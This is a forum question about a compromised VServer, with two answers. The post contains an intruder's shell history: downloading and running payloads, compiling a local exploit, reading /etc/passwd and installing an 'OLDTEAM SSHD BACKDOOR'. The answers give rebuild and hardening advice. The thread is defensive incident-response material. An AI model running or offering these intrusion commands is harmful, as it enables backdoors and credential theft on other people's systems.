Found SSH Backdoor on VServer. What to do?

Yesterday I checked my history of commands on my VServer. I found several suspicious lines.

 195 wget 196 tar xvf sniffer.tgz 197 ls -a 198 rm -rf sniffer.tgz 199 rm -rf .sniff/ 200 cd /dev/shm 201 ls -a 202 mkdir " . " 203 ls -a 204 cd " . "/ 205 wget 206 tar xvf ar 207 tar zxvf ar 208 tar xvf sniffer.tgz 209 cd .sniff/ 210 ls -a 211 ./setup 212 ls -a 213 cd /var/tmp 214 ls a- 215 ls -a 216 cd sy 217 cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi ce-HJ201p/ 218 ls -a 219 pw 220 pwd 221 ls -a 222 cd tmp/ 223 ls -a 224 cd / . 225 cd /dev/shm 226 ls -a 227 cd " . "/ 228 ls -a 229 cd sniffer.tgz 230 cd .. 231 ls -a 232 cd " . "/ 233 rm -rf sniffer.tgz 234 cd .sniff/ 235 ls -a 236 cd /var/tmp 237 nproc 238 w 239 wget chmod +x *; ./x 240 wget gcc ubuntu-2015.c -o ubuntu-20 15; chmod +x *; ./ubuntu-2015; 241 id 242 cd 243 last 244 cat /etc/passwd 245 cd /dev/s 246 cd /dev/shm/ 247 ls -a 248 cd " . "/ 249 ls -a 250 cd .sniff/ 251 ls -a 252 nano se 253 nano setup 254 nano error_log 255 nano error_log.2 256 cat error_log.2 257 ls -a 258 nproc 259 cd /var/tmp 260 ls aรถ- 261 ls -a 262 rm -rf u* 263 rm -rf x 264 mkdir cache 265 cd cache 266 wget 267 tat xvf md.tgz 268 tar xvf md.tgz 269 cd m 270 cd d 271 cd md 272 ./a 5.196 273 cat /proc/cpuinfo 274 ./a 5.196 275 ps -x 276 cd /

Especially the sniffer.tgz shocked me. I set up a virtual machine and downloaded this tgz archive. I started the setup and it gave me these lines:

----------------------------------------------------------------------------------- #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1 PRIVATE VERSION
----------------------------------------------------------------------------------- CHECKING THIS SYSTEM
# GCC: [ FOUND ]
# G++: [ FOUND ]
# MAKE: [ FOUND ]
# OPENSSL DEVEL: [ NOT FOUND ]
NOW TRYING TO INSTALL OPENSSL DEVEL

Does anyone know how to remove this?

1

2 Answers

This is what you should do on all the systems that you've had this sniffer.tgz on: Nuke Them From Orbit immediately, and start over from a clean installation. (That is, destroy the system(s), reinstall clean, load data from clean backups - assuming you have backups that're clean, and then harden the system(s) before putting them back on the Internet).

Whenever you have malware or hackers get into your system like this, it's time to reanalyze how your system is configured and make sure to not repeat the same steps that they got in with. But, because this may not be a system you have the ability to take aside and forensically analyze, and since this may be your only server, it's time to just destroy the virtual system, and start over from scratch (as I said above).

(And this applies to any such situation where you get malware on the system. Unless you have spare hardware to replace something like this so you can isolate and forensically examine the breached system, which usually most users do not have, you have no choice but to nuke the system and start over.)

Without analyzing your server I can't really say what you did wrong, but it's likely that this backdoor is deeper in the system than just a simple 'program' that got installed. And, since the bad guys already got to install a backdoor on your system, you can assume that all your passwords are now breached and no longer safe (whether it be for SSH, or MySQL root, or any other type of password that has EVER been entered into this computer system). Time to change all your passwords!

---

Once you're back up in a clean environment, here's some basic tips on hardening steps to consider. Note that because these make it much more broader a topic, I can't really dig into detail here, but it's definitely time to do some hardening steps to protect your system:

1. Turn on a firewall, and only allow access to ports that need to be opened. ufw exists to be simple, so let's use that. sudo ufw enable. (Configuring ufw properly for your environment is a different story, and that goes beyond the confines of this question.)

2. Restrict access to remote SSH. This isn't always doable, but you ideally would identify IP addresses that are owned by you and specifically whitelist them in the firewall. (If you're on a dynamic residential IP address skip this step).

3. Lock down SSH access to your server, and require the use of SSH keys only for authentication. This way hackers can't attack your server and try and just guess passwords. It's much MUCH harder to guess the proper private key (because you'd have to bruteforce all of them), and this helps protect against bruteforcing attacks.

4. If you are running a website, make sure to lock down the permissions so that people can't upload/execute things at their leisure. Doing this varies from site to site, so I can't give you more guidance here (it's impossible to do so).

5. Also if you're running a website using Joomla or Wordpress or such, make sure you keep the environment up to date and patched with security vulnerabilities from the software providers.

6. Where possible, setup, configure, and use two-factor authentication (2FA) methods for things that you authenticate with. There are many solutions for second-factor authentication for different applicaitons, and securing various applications this way is beyond the scope of this post, so you should do your research on this point before you pick a solution.

7. If you absolutely must use passwords in your setup, use a decent password manager (cloud-based ones are not necessarily good choices) and use long-length (25+ characters), random, unmemorable passwords that are different for each individual item that's being secured by passwords (hence the recommendation for the password manager). (However, you should strongly consider NOT using passwords where possible (such as for SSH authentication), and use 2FA where possible).

2

If there is one backdoor there is 3 more. Isolate, backup data, nuke it, and carefully restore data.Be careful of any cron's, php, or even mysql data, they All could be compromised. Remember at this point they have all your passwords and hashes,so if you other machines similarly configured they probably hacked those too... The hard part is figuring how they got in to begin with. If you have WordPress look for malware in plugins/themes etc...Check your permissions, you might have 777 everywhere. No simple answer, you are looking at a lot of work.

1